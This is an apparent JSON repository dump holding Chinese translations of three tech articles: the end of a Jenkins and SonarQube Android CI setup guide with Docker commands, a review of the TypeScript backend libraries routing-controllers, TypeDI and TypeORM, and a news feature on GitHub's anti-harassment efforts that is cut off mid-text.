插件。\n\n[**pamartineza/helloJenkins**](https://github.com/pamartineza/helloJenkins)\n\n首先新建一个 **自由风格工程项目** 并取个名字例如 “**Hello_Android**” （Jenkins 任务名不要有空格，避免将来与 SonarQube 的兼容性问题）\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*ITE7xIrbsrChWv45PSlPPw.png\">\n\n创建自由风格的 Jenkins 任务\n\n下面让我们一起进行配置，我会对每个部分截图\n\n**General:**\n\n该部分和我们最终的目标关系不大，在这你可以修改任务名，添加描述，如果使用的是 GitHub 项目可以添加项目的 URL，（不要带 *.git, 这个 url 项目的 url 不是 repo）\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*7QF2pfgM73FVIWTfQhcbEA.png\">\n\n项目 Url 配置\n\n\n**源代码管理:**\n\n这里我们需要选择 Git 作为 CVS 选项，并且填写代码库地址（需要包含 *.git）并选择要获取的分支。这是一个公开的 GitHub 仓库，因此不需要添加凭证，否则需要填写你的用户名和密码。\n\n我建议你重新创建一个只有你私有仓库只读权限 GitHub 账户 供你的 Jenkins 使用，而不是直接使用你的真实 GitHub 账户。\n\n此外如果你开启了双重身份验证 Jenkins 将不能获取代码，这时为 Jenkins 单独创建账户是能够正常获取私有仓库代码的方法。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*wkzdL70XrCzIpXDsHPA2Pg.png\">\n\n仓库配置\n\n\n**构建触发器:**\n\n构建可以被以下方式触发：手动的、远程的、周期性的、另一个任务构建、检测到变更时等等。\n\n理想的最好的情景是，当新的变更推送到仓库是触发构建，GitHub 提供了一个叫 Webhooks的系统\n\n[**Webhooks | GitHub Developer Guide**](https://developer.github.com/webhooks/)\n\n我们可以配置 Webhooks 发送事件到 CI 服务触发构建，但是这需要我们的 CI 服务器对 GitHub 在线并可以通过 GitHub 访问。\n\n可能处于安全考虑你的 CI 是放在私有网络里的，这时唯一的解决方案就是周期性的查询 GitHub。就我个人而言，我一工作就会打开 CI，在下面的截图中我配置的是每 15 分钟查询一次 GitHub。查询的频次与 **CRON** 语法一样，如果你对其不熟悉，可以点击右面的帮助按钮获得帮助文档。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*eONz8DAwJ9PW7uc8VQw7wQ.png\">\n\n任务配置\n\n\n**构建环境:**\n\n我推荐配置构建的 **stuck** 超时时间，避免 Jenkins 当意外错误发生时阻塞占用内存和 CPU。这里也可以配置环境变量和账号密码等。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*Y6FgbIQq8pMk6D72Sr9KdQ.png\">\n\n错误构建超时\n\n\n**构建:**\n\n这里是最神奇的地方！添加一个 **构建步骤** 选择 **执行 Gradle 脚本**  选择 Gradle Wrapper （Android 项目默认情况下都包含 Gradle Wrapper，不要忘记将其添加到 Git）并且配置需要执行的任务：\n\n1. **clean:** 删除所有之前构建产生的输出，确保本次构建没有任何缓存。\n\n2. **assembleDebug:** 生成 debug .apk\n\n3. **test:** 对所有模块执行单元测试\n\n4. **connectedDebugAndroidTest:** 在连接到 CI 的真机上执行 Android 测试。（通过安装 Android Emulator Jenkins 插件也可以在 Android 模拟器上运行 Android 测试，但是并不支持所有版本的模拟器，并且配置非常琐碎）\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*D0HDPOUYCWzsWKiLv4LrBA.png\">\n\nGradle 任务配置\n\n\n**构建后操作**\n\n这部分我们添加 **发布 JUnit 测试结果报告**，本步骤由 JUnit 插件提供，收集 JUnit 测试产生的 .XML 报告，并生成测试结果图表报告。\n\n该部分对 debug 包来说测试结果的路径是：\n\n**app/build/test-results/debug/*.xml**\n\n在多模块工程中，“纯” Java 模块的测试结果路径是：\n\n**/build/test-results/*.xml**\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*ZQtamiQ_8PzAFBd-pMfvdg.png\">\n\n\n同时添加 **Record JaCoCo coverage report** 以生成展示代码变更进程的图标\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*wKaFykDl0qg-c79QwRTR2w.png\">\n\n\n#### 运行 Jenkins 任务 ####\n\n如果有新的任务推送到仓库，上面的任务会每个 15 分钟运行一次；如果不想等下次自动运行而是想立即看到修改，也可以手动触发。点击 **立即构建** 之后当前的构建会出现在 **构建历史** 中，点击它可以查看详情。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*vKi-BGQ2blimaoTl7PTXtQ.png\">\n\n手动执行任务\n\n最有趣的部分是控制台输出，可以看到 Jenkins 是如何获取代码并且如何执行前面配置的 Gradle 任务（例如 **clean.**）。\n\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*dbtmlSr2owrj_CQfGXjdsw.png\">\n\n控制台输出的开头\n\n如果所有任务都成功执行控制台输出会如下图（仓库连接错误、单元测试问题或者 Android 测试问题都会导致构建失败）\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*WpOH-aHuuNRDYmY710ecLQ.png\">\n\n构建成功和测试结果收集\n\n\n### 第 5 步 —— SonarQube ###\n\n这部分我将介绍使用 Docker 容器安装配置 SonarQube 和它的伴侣 MySQL数据库。\n\n[**Continuous Code Quality | SonarQube**](https://www.sonarqube.org/)\n\nSonarQube 是一个静态代码分析工具，它可以帮助开发者编写干净的代码、发现 bug、学习好的经验，并且可以跟踪代码覆盖、测试结果、技术债务等。所有 SonarQube 检测到的问题都可以导入到安装了插件的 Android Studio/IntelliJ 中，并修复。\n\n[**JetBrains Plugin Repository :: SonarQube Community Plugin**](https://plugins.jetbrains.com/idea/plugin/7238-sonarqube-community-plugin)\n\n#### 安装 Docker: ####\n\n按照 Docker 官方文档进行安装非常的简单：\n\n[**Install Docker on Ubuntu**](https://docs.docker.com/engine/installation/linux/ubuntulinux/)\n[**在 Ubuntu 上安装 Docker**](https://docs.docker.com/engine/installation/linux/ubuntulinux/)\n\n\n#### 创建容器： ####\n\n**MySQL:**\n\n下面我们创建 MySQL 5.7.17 叫做 **mysqlserver** 的服务容器，配置如下：自启动、安装到你自己的目录下、配置密码、以及端口 3306 *（ YOUR_USER 和 YOUR_MYSQL_PASSWORD 用真实值替换）*\n\n```\n$ docker run --name mysqlserver --restart=always -v /home/YOUR_USER/mysqlVolume:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=YOUR_MYSQL_PASSWORD -p 3306:3306 -d mysql:5.7.17\n```\n\n\n**phpMyAdmin:** \n\n我使用 phpMyAdmin 管理 MySQL 服务，当然最简单的方法就是创建一个叫做 **phpmyadmin** 的容器关联到 **mysqlserver**，配置如下：自启动、端口 9090、使用最新的版本\n\n```\n$ docker run --name phpmyadmin --restart=always --link mysqlserver:db -p 9090:80 -d phpmyadmin/phpmyadmin\n```\n\n通过访问 localhost:**9090** 使用 phpMyAdmin, 使用 **root** 账户登录，并创建 **sonar** 数据库，字符集设为 **utf8_general_ci**。新建一个 **sonar** 用户并授权 **sonar** 数据库的全部权限\n\n\n**SonarQube:**\n\n下面我们开始创建 SonarQube 容器，取名 **sonarqube** 配置如下：自启动、关联到刚刚配置的 db，端口 9000，使用 5.6.4（LTS）版。\n\n```\n$ docker run --name sonarqube --restart=always --link mysqlserver:db -p 9000:9000 -p 9092:9092 -e \"SONARQUBE_JDBC_URL=jdbc:mysql://db:3306/sonar?useUnicode=true&characterEncoding=utf8&rewriteBatchedStatements=true&useConfigs=maxPerformance\" -e \"SONARQUBE_JDBC_USER=sonar\" -e \"SONARQUBE_JDBC_PASSWORD=YOUR_SONAR_PASSWORD\" -d sonarqube:5.6.4\n```\n\n#### SonarQube 配置: ####\n\n如果一切 OK，访问 localhost:9000 将会看到下图：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*tcgww8PENXdyrLS3K95ZEw.png\">\n\n下面安装必要的插件和 Quality Profiles\n\n1. 右上角登录（默认的管理员账号是 admin/admin）\n\n2. 点击 Administration > System > Update Center > **Updates Only**\n\n- 如果需要请更新 **Java** 插件\n\n3. 切换到 **Available** 并安装如下插件：\n\n- **Android** （提供 Android lint 规则）\n\n- **Checkstyle**\n\n- **Findbugs**\n\n- **XML**\n\n4. 回到顶部，点击重启完成安装\n\n\n#### SonarQube 配置: ####\n\n我们已经安装的插件定义了一系列用来评估代码质量的规则。\n\n一个项目只能应用一个配置，但是我们为一个配置指定父配置来继承它，所以我们可以新建一个自定义配置将所有配置串起来，来评价项目。\n\n点击 Quality Profiles > Create 并取个名字（例如 **CustomAndroidProfile**）\n\n添加 Android Lint 作为父配置，然后切换到 **Android Lint** 并将 **FindBugs Security Minimal** 设为父配置，继续设置直到将所有配置串联起来，最后将 **CustomAndroidProfile** 设为默认配置\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*w2CvH8uAOUcvajzjsOoCgQ.png\">\n\n继承链\n\n\n#### 运行 SonarQube 分析: ####\n\n现在 SonarQube 已经配置好，接下来只需要添加 Gradle 任务， **sonarqube**，并在 Jenkins任务的最后一步执行：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*EDAjalNzmdU-ptjhWzuCcQ.png\">\n\n添加 sonarqube gradle 任务\n\n再运行一次 Jenkins 任务，任务成功完成后在 localhost:9000 可以看到：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*n7dKdPXyUPj1AZe6ujL3vw.png\">\n\n分析结果页面\n\n我们可以通过点击工程名来切换仪表盘，这里面包含了很多内容，其中最重要的是 Issues 部分。\n\n下面的截图显示的是一个被标记为空构造方法的 **major** 问题。对我个人而言，使用 Sonarqube 最大价值是当你点击 period … 后，屏幕下方显示的非常宝贵的学习编程经验和技巧。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*KKM9T2qHzanraAetghYCqg.png\">\n\n获得问题的说明\n\n\n### 第 6 步 —— 其它：配置其它 Android 应用 ###\n\n配置一个 Android 应用获得覆盖统计和 sonarqube 结果，只需要使用 JsCoCo 和 SonarQube 插件就可以了。可以在我的 demo 应用 **HelloJenkins** 中找到详细的配置：\n\n[**pamartineza/helloJenkins**](https://github.com/pamartineza/helloJenkins)\n\n### The end! ###\n\n\n本文到了该结束的时候！希望能对您有所帮助。如果您发现任何问题或有所疑问不吝赐教，我会尽最大努力帮助您。如果您喜欢本文，麻烦分享一下。\n\n![Markdown](http://i1.piimg.com/1949/7d2d44d03dd76bdc.png)\n"
  },
  {
    "path": "TODO/how-to-start-with-backend-typescript-and-use-its-full-potential.md",
    "content": "> * 原文地址：[How to start with backend TypeScript and use it’s full potential.](https://medium.com/@igorandreev/how-to-start-with-backend-typescript-and-use-its-full-potential-5114e52012b)\n> * 原文作者：[idchlife](https://medium.com/@igorandreev?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-start-with-backend-typescript-and-use-its-full-potential.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-start-with-backend-typescript-and-use-its-full-potential.md)\n> * 译者：[xilihuasi](https://github.com/xilihuasi)\n> * 校对者：[tvChan](https://github.com/tvChan), [noahziheng](https://github.com/noahziheng)\n\n# 如何用 TypeScript 玩转后端？\n\n我将从一个开发者的角度介绍几个优秀的库。它们可以满足你后端应用的绝大部分特性。装饰器和元数据的能力在这些库中得到的充分的应用，使其非常强大并且简单易用。\n\n我希望这篇文章可以帮到像我这样，喜欢 TypeScript 而且想用它编写后端代码的人，让他们像我一样发现这些库之后乐在其中。\n\n**TL;DR —— 堆栈使你的后端应用像许多使用其他语言的企业静态解决方案一样强大：**\n\n* 使用装饰器，参数，body 注入的路由和控制器的库\n\n* 依赖注入和使用装饰器的 services 的库\n\n* 使用装饰器的 ORM 就像 Doctrine/Hibernate 那样方便操作实体\n\n* 给那些还不熟悉使用 TypeScript 写后端的朋友的小建议\n\n**Routing-controllers：控制器，行为，请求等**\n\n[**pleerock/routing-controllers** routing-controllers —— 创建结构化，声明性和组织良好的基于类的控制器](https://github.com/pleerock/routing-controllers)\n\n尽管这个库是作为 Express/Koa 的 TypeScript helper 编写的，它也会对你编写控制器有所帮助，就像你在 Java/PHP/C# 的企业级框架里用到的那样。\n\n下面是一个控制器的小例子：\n\n```\nimport {JsonController, Param, Body, Get, Post, Put, Delete} from \"routing-controllers\";\n\n@JsonController()\nexport class UserController {\n\n    @Get(\"/users\")\n    getAll() {\n       return userRepository.findAll();\n    }\n\n    @Get(\"/users/:id\")\n    getOne(@Param(\"id\") id: number) {\n       return userRepository.findById(id);\n    }\n\n    @Post(\"/users\")\n    post(@Body() user: User) {\n       return userRepository.insert(user);\n    }\n\n}\n```\n\n这对一些人来说就像是摆脱了噩梦：不再有带路由的组件，充满嵌套的中间件以及具有注入，验证和请求参数的中间件的实现（是的，你甚至可以定义参数类型和是否必传！如 @Body({ required: true, validate: true }) 这种写法将能很好地工作，如果缺少参数或者不正确的请求就会抛出异常）\n\n装饰器有很多有用的特性，如基础控制器的 @Controller，可在 actions 中定义内容的类型以及使用 @JsonController 服务和接收 JSON。\n\n我正在 Express 中使用它，既然我们有了 async/await （即使 TS Node.js 开发已经过了好几个月我还是忍不住赞美）我们似乎不再需要 Koa 了（现在 routing-controllers 可以更好的支持 Express ）。而且 Express 有更大的类型集 @types。\n\n下面是我项目中使用 routing-controllers 和其他 @pleerock 库（VSCode, 如果有兴趣的话，引用来自 TypeLens 插件）的例子：\n\n![](https://cdn-images-1.medium.com/max/800/1*DdYJb1pIl3JYBfoCQPvSRw.png)\n\n如你所见，routing-controllers 甚至提供了 undefined 返回码（也有 empty 和 null 的装饰器）以及许多其他特性。关于 this.playerService —— 这是另一个迷人的库，稍后我将介绍它。\n\n总体来看，库有强大的文档，它可以帮助你理解和构建适用于操作甚至整个控制器的自定义中间件的应用程序（这对我来说是个绝妙的时刻）。链接地址如你所见就在那，非常方便。\n\n当然，你也可以使用很多 Express/Koa 中间件把你的应用抽离出来，以及视图配置（库也有针对视图的装饰器），认证（可以通过中间件应用到整个控制层），错误处理等方面的配置。\n\n通常我把他们存放在 /controllers 文件夹。\n\n**TypeDI：依赖注入，services**\n\n[https://github.com/pleerock/typedi](https://github.com/pleerock/typedi)\n\n这个库帮我定好了项目结构，方便编码并且不用去想「好吧 service 存在哪里，这个是 service？唔或许是另一个，但是，它怎么依赖另一个 service？怎么引用其他 service 唔。」\n\n回到我的 PlayerService，下面这部分你可以看到它依赖了什么（其他 services）：\n\n![](https://cdn-images-1.medium.com/max/800/1*lpTGJEYWTCr18jjm8uAnbg.png)\n\n@Inject 对我来说是在处理 services 和逻辑完整的后端应用方面最好用的装饰器。\n\n（如果你想了解 @OrmEntityManager —— 另一个来自 @pleerock 的库，稍后我将讲解）\n\n是的，你可以有很多 services 依赖其他的 services。并且如果你有 service 循环依赖，你可以通过明确地定义类型来解决这个问题（库的文档涵盖了大部分的问题和情景）\n\n对那些不熟悉 services，service 容器，services 依赖注入等的朋友。简要说明：\n\n你有某种功能，想把它存在类中，然后你想要类的实例并且想让这个类依赖另一个，另一个等。service 容器的依赖注入可以为你保驾护航。你可以从容器中获取 services 并且它会自己处理 services 的所有依赖，给你带有其他实例的工作实例自动注入。\n\n我关于这个库的描述并不涵盖它的所有潜能（你可以自己查看它的文档——有更多的特性可以使用）：你可以在定义 services 时给它命名，还可以定义构造器注入等。\n\n通常我把我的 services 存放在 /services 文件夹。\n\n**TypeORM：使用 ORM 定义关系型实体，不同列类型和不同数据存储方案非常方便（关系型，非关系型）**\n\n[**typeorm/typeorm**_typeorm —— 可在 TypeScript and JavaScript (ES7, ES6, ES5)环境中使用的 Data-Mapper ORM。支持 MySQL, PostgreSQL, MariaDB, SQLite](https://github.com/typeorm/typeorm)\n\n这给我的感觉就是，用 TypeScript 写 Node.js 最终有能力跟其他语言和 ORMS 竞争。\n\n强大的 ORM 可以让你很方便地用一种可理解的方式编写实体。我不是其他许多类似这种 Node.js ORMS 的粉丝：\n\n```\nmodule.exports = { id: SomeORM.Integer, name: SomeOrm.String({ …})}\n```\n\n我总是想让实体写成类。被赋予类型的属性的类，会被带有简单装饰器的 ORM 发现。甚至是没有类型的。\n\nTypeORM 给你这种能力。我项目中的另一个例子：\n\n![](https://cdn-images-1.medium.com/max/800/1*VJEWGi8ycPxqaLNzjev7nA.png)\n\n如你所见，我甚至没在装饰器中写属性的类型（你可以这样做，不要担心，明确地定义类型，默认的，可空的等）！TypeORM 为我做了所有这些工作，了解什么类型（感谢 TypeScript 反射：元数据扩展功能）以及把它应用在我的数据库。\n\n它非常强大，你将拥有所有你在其他 ORMs 中拥有/看到的东西，比如（Doctrine, Hibernate）。\n\n当使用 routing-controllers 和 TypeDI，它会为你注入实体管理器（就像你在我的 PlayerService 截图中看到的一样）提供非常有用的装饰器或者连接你的控制器和 services（这**非常**方便）。\n\n这个 ORM 有一个涵盖了大量功能的官方文档，你可以看看并且从中了解所有你开始使用它需要了解的东西。\n\n我通常把我的数据库配置放在 /config 文件夹，实体放在 /entities 文件夹。\n\n* **为什么一篇文章涵盖了所有这些库？**\n\n这正是有趣的部分。\n\nRouting-controllers 就像是你应用的地基。它给你轻松连接那两个库的可能（涵盖在库文档中）。当然，如果你不想的话可以不用。它可以和任何 ORM 一同使用。\n\n但是，当你使用全部这三个库时，你会让框架对比其他解决方案时显得太过强大（至少对我来说是这样）。你有控制器，参数注入，body 注入，参数验证，依赖注入，有了这些你可以忘掉手动提供依赖和定义类型，装饰属性的实体，查询 builder。这全都是靠 TypeScript！所以，后端也将有编译时类型检查！\n\n* **是的，感谢涵盖了那些功能的库。但是再说一次，如何在 node 中使用 TypeScript？**\n\n好吧，这再简单不过了。你可以像平时一样写 typescript，配置它编译到 ES2015（node 现在有很多特性，不用把它编译成 ES2015 之前的版本了），使用 CommonJS 标准来实现模块即可。\n\n并且使用 pm2 或其他东西在编译后启动 index/server/app.js 。基本上生产代码已经就绪。不用 ts-node 或者其他什么了。\n\n**如果你喜欢这些库，不要忘了表达你的喜爱**\n\n如你所见，没有很多人知道 routing-controllers 和 TypeDI，这些是我 TypeScript Node.js 项目用到的最强大并且好用的库了。如果你喜欢它们，请花一秒钟 star 它们并且宣传一下。它们帮了我很多，所以我希望它们可以帮到你和其他同样的 TypeScript 使用者！\n\n这些库也有 gitter 社区，你可以通过谷歌搜索“gitter 库名”很方便地找到它们。\n\n感谢阅读并且快乐地使用 TypeScript。欢迎评论或提问吧~\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/how-to-stop-online-harassment.md",
    "content": "# GitHub是如何阻止网络暴力的\n\n* 原文地址：[ What GitHub did to kill its trolls ](http://fusion.net/story/369325/how-to-stop-online-harassment/ )\n* 原文作者：[  Kristen V. Brown ](http://fusion.net/author/kristen-v-brown/)\n* 译文出自：[掘金翻译计划](https://GitHub.com/xitu/gold-miner)\n* 译者： [wild-flame](https://GitHub.com/wild-flame)\n* 校对者：[marcmoore](https://GitHub.com/marcmoore), [Romoe0906](https://GitHub.com/Romeo0906)\n\n几年前，创业者熟知的 GitHub 就面临了一个尴尬的现实：GitHub 在变成一个让人厌恶的地方。\n\nGitHub 作为一个为程序员提供分享项目代码并在线合作的网站，2014 年是它发展最快的时候。但是，随着用户数的增多，相应的麻烦也变得越来越多。Julie Ann Horvath，一位在 GitHub 工作的程序员，就因为饱受 [性别歧视](http://money.cnn.com/2014/03/17/technology/GitHub-sexual-harassment/) 的折磨而离开了公司，这个新闻事件也让 GitHub 站在了舆论的风口浪尖上。\n\n更糟糕的是，不多久 GitHub 就发现这不仅仅是他们公司内部的问题。辱骂和歧视在它们的整个网站上都呈现一种蔓延的趋势。整个在线社区都充斥着一种 [歧视女性](https://www.theguardian.com/technology/2016/feb/12/women-considered-better-coders-hide-gender-GitHub) 的氛围，女性并不如男性受重视。小小的不合就会演变成一场评论大战。比方说一个分手的男人，就在他前任女友的每一个项目里都说了一些不堪入目的话语。而那些性别主义、种族主义的喷子们，则利用那些原本为合作提供便利的特性来攻击别人。比方说，利用标签特性，把这个人的主页和用种族主义词汇命名的项目标记起来，就可以将这个人的项目集变成一系列的含糊不清的种族主义词汇。\n\nNicole Sanchez，公司公关部的副总裁，发言说「这些都是网络自带的危险和隐患」，虽然这是一种普遍现象，但 GitHub 仍在很积极地消除它们。\n\n很让你惊讶对吧？一个给程序员分享代码的网站竟会成为滋生不当言论的乐土。但 GitHub，这个估值两亿的网站，本质上仍然是一个社交网站，它是一个面向程序员的 Facebook + Linkedin 的混合体，所以必然包含了大量的人与人的互动。在互联网上，有人的地方就有谩骂。\n\n为了力挽狂澜，GitHub 雇佣了 Sanchez —— 关于多元化的咨询公司 [started Vaya](http://www.sfchronicle.com/business/article/For-some-startups-tech-s-lack-of-diversity-is-6052546.php) 的创始人。\n\n\"为了把全世界所有的程序员连结起来，我们首先需要营造个安全舒适的社区环境。\" CEO Chris Wanstrath 说。\n\n开始工作以后，Schaez 从雇佣、绩效考核到公司的装修，重新安排了公司的诸多事务。GitHub 刚成立的时候，是一个不分等级的公司，公司里没有职称，也没有经理。但 Sanchez 废除了这个制度，因为她发现，如果没有管事的，那么人们也不会为他们的错误承担责任。她首先调整公司的内部环境，使其对多元文化更友好，比方说建立一个通畅的官方建议渠道。她还招进了 February Keeney，一个有一半波多黎各血统的变性人，带领新成立的「社区安全组」去消除网站上的不当言论。\n\n鉴于硅谷当时的文化，这是一个很采取的立场。GitHub 和许多技术公司一样，都曾害怕限制用户言论。许多做技术的人都觉得网络应该是一个开放且自由的地方，他们认为，即便是处理那些最恶毒的言论，其实也是损害了用户言论自由的权利。比如 Twitter，它一直拒绝对自己的不当言论问题公开致辞，并自诩是「言论自由的领袖」。\n\n「人们对于『开源』太教条了。」Sanchez 说，「人们总觉得『开源』意味着随时随地并且无条件开放给任何人。」\n\n一些不期望改变的 GitHub 雇员，曾匿名在媒体上抗议说：Sanchez 试图 [控制](http://www.businessinsider.com/GitHub-the-full-inside-story-2016-2) GitHub 的文化。不过最终，她还是取得了大部分人的支持。\n\n「那些污蔑其实不仅仅是让人不舒服。」Sanchez 说，「它实实在在的在削减我们的用户量。」\n\n2014年，一份 [报告](http://fortune.com/2014/10/02/women-leave-tech-culture/) 调查了女性离开技术圈的原因，其中，极客文化 —— 当然包括了污蔑、诽谤和骚扰 —— 是她们离开的一个重要原因。用户的多样性曾是 GitHub 成功的重要原因，也正因为此 GitHub 决定要根除网上的各种不当言论。\n\nGitHub 不仅仅是需要在内部执行一份新的行为准则，他需要考虑产品的各个方面，排除其中可能被用户做恶意行为的细节。该死的喷子们！\n\nGitHub 并不是唯一的一个意识到互联网上的丑陋行为不会自行消失的公司。两年前，这些技术公司在面临网络暴力的问题时，还常常以言论自由来为自己辩护，或者不予理会。但 [丑闻](http://www.newsweek.com/ellen-pao-kleiner-perkins-john-doerr-buddy-fletcher-314293)、[批评](http://fusion.net/story/327103/leslie-jones-twitter-racism/)、[网络暴力](http://fusion.net/story/270090/sxsw-gamergate-science-and-the-internets-harassment-problem/)，使得大家开始重新考虑这个做法。\n\n去年二月，Twitter 的 CEO Dick Costolo [公开承认](http://www.theverge.com/2015/2/4/7982099/twitter-ceo-sent-memo-taking-personal-responsibility-for-the)「我们在处理网络暴力这件事情上做的很差」，这是一次号召。从那时开始，Twitter 以及其他公司开始积极地尝试各种解决办法。九月时，Instagram 发布了一个新功能，允许用户 [屏蔽恶意词汇](http://fusion.net/story/347364/instagram-comment-moderation-policy/) 。今年秋，Google 暗示说它在开始 [构建 A.I. 来对抗网络暴力](https://www.wired.com/2016/09/inside-googles-internet-justice-league-ai-powered-war-trolls/)。甚至连最让人不爽的 Reddit，也 [封了他最不好的方面](http://fusion.net/story/168376/reddit-will-still-allow-hate-speech-but-itll-be-slightly-harder-to-find/)。\n\n「现在有这么一种时代浪潮，」GitHub 的首席商务官 Julio Avalos 对我说，「雇主对雇员的期望发生了改变，客户对公司的期望发生了改变。人们会以脚来投票的。」\n\n![Julio Avalos, GitHub's Chief Business Officer.](https://i0.wp.com/fusion.net/wp-content/uploads/2016/11/screen-shot-2016-11-14-at-12-28-03.png?resize=670%2C617&amp;quality=80&amp;strip=all)\n\nJulio Avalos, GitHub 的首席商务官\n\nTwitter 便是忽略这股浪潮的反面教材。作为一个有十多年历史的老公司，Twitter 基本上对网络暴力视而不见，使他成为 [喷子](http://womenactionmedia.org/cms/assets/uploads/2015/05/wam-twitter-abuse-report.pdf) 和 [憎恶](http://fusion.net/story/359668/twitter-anti-semitism-adl-report/) 们 [最爱去的地方](https://www.buzzfeed.com/charliewarzel/a-honeypot-for-assholes-inside-twitters-10-year-failure-to-s?utm_term=.ohBx6EKra#.dm0pE9yw6) 。因为网络暴力，一些 [大V用户](http://fusion.net/story/327103/leslie-jones-twitter-racism/) 也离开了 Twitter。这家问题缠身的公司最近几个月疲于寻找买家，有人猜测 [Twitter的网络暴力](https://www.theguardian.com/technology/2016/oct/18/did-trolls-cost-twitter-35bn) 是一个重要原因。\n\n喷子们已经成了网络时代的祸害。可悲的是，互联网上已经充满了混蛋，真的是应该需要做点什么的时候了。\n\n但是，在现实生活中你都无法避免所有的暴力和辱骂，你要怎么在网络上避免他们呢？拿  Twitter 来举例子吧，他们推行 [禁止色情报复](http://fusion.net/story/102264/twitter-bans-revenge-porn/)，发布 [反骚扰条款](https://blog.twitter.com/2015/fighting-abuse-to-protect-freedom-of-expression-0)，成立 [信任安全委员会](http://thenextweb.com/twitter/2016/02/09/twitter-now-has-a-trust-and-safety-council-to-help-its-users-feel-safe/#gref)，暂停 [有辱骂嫌疑的大V用户的使用权](http://fusion.net/story/327536/milo-yiannopoulos-nero-permanently-banned-from-twitter/)，但仍然没能阻止网络上的暴力。\n\nBuzzFeed 的 Charlie Warzel 今年初在他的一篇文章中 [写道](https://www.buzzfeed.com/charliewarzel/a-honeypot-for-assholes-inside-twitters-10-year-failure-to-s?utm_term=.awWPe3z94#.eeW97xOwg)：「在Twitter上，辱骂并不仅仅是一个错误（Bug），用硅谷的专业术语来说，它是一个基础特性（Feature）。」\n\n## 治疗网络暴力并没有什么万能药的。\n\n「网络暴力无休无止。」Nathan Matias，MIT 专门研究减少网络歧视和辱骂的研究员说，「可能的结果非常多，而通过目前掌握的线索来找到我们期望的解决方案就如同大海捞针一般。」\n\n当 GitHub 下决心跟网络暴力一战到底的时候，它也招进了 Ada Ehmke —— 一个变性人，从那时开始，她就成了 GitHub 最重要的批评家。\n\nEhmke 曾经是 GitHub 设计的受害者之一，她是 [Contributor Covenant](http://contributor-covenant.org/) 的作者，一个许多 GitHub 项目都志愿遵守的准则。但并不是所有在这个基于自由意志而存在的开源社区里的人都欣赏她，甚至有一些人开始攻击她。当时 GitHub 没有任何功能允许用户选择不被标签，所以攻击者们开始将 Ehmke 与种族主义名字相关的项目标记在一起，以污染她的 GitHub 个人主页 —— 那是一份记录了她所有开源项目的页面。这就好像某人在她的简历上画了个纳粹标记，然后再把它交给她未来的雇主。\n\n![GitHub engineer Coraline Ada Ehmke.](https://i0.wp.com/fusion.net/wp-content/uploads/2016/11/coraline_speaking.jpeg?resize=640%2C427&amp;quality=80&amp;strip=all)\n\nGitHub 工程师 Coraline Ada Ehmke.\n\n「这些喷子是很聪明的。他们从各种工具中寻找便利，然后将其作为武器攻击别人。」Ehnke 说，「如果你从来没考虑过你的产品会如何被用来人身攻击，那你的工作是不到位的。」\n\n当去年二月 Ehmke 被雇佣为资深工程师的时候，有一些人就因此对 GitHub 的招聘方向感到很气愤。\n\n> [@CoralineAda](https://twitter.com/CoralineAda)[@GitHub](https://twitter.com/GitHub) So you are going to ruin GitHub just like the SJWs are ruining Twitter?\n>\n> — Jon (@42zarf) [February 25, 2016](https://twitter.com/42zarf/status/702704096499912705)\n\n> 「所以你也希望像那些圣母毁掉 Twitter 的一样毁掉 GitHub 么？」（译注：SJW 就是 social justice worker）\n\n「我刚开始工作的时候，作为男性，我有很多优势。」Ehmke说，「尽管我一直都知道存在这样的事情，但是直到我变性之后，才开始真正理解那些人。开源社区对于非男性或者非白人一直都很不友好。」\n\n每个同我在 GitHub 谈过话的人都强调说，要解决 GitHub 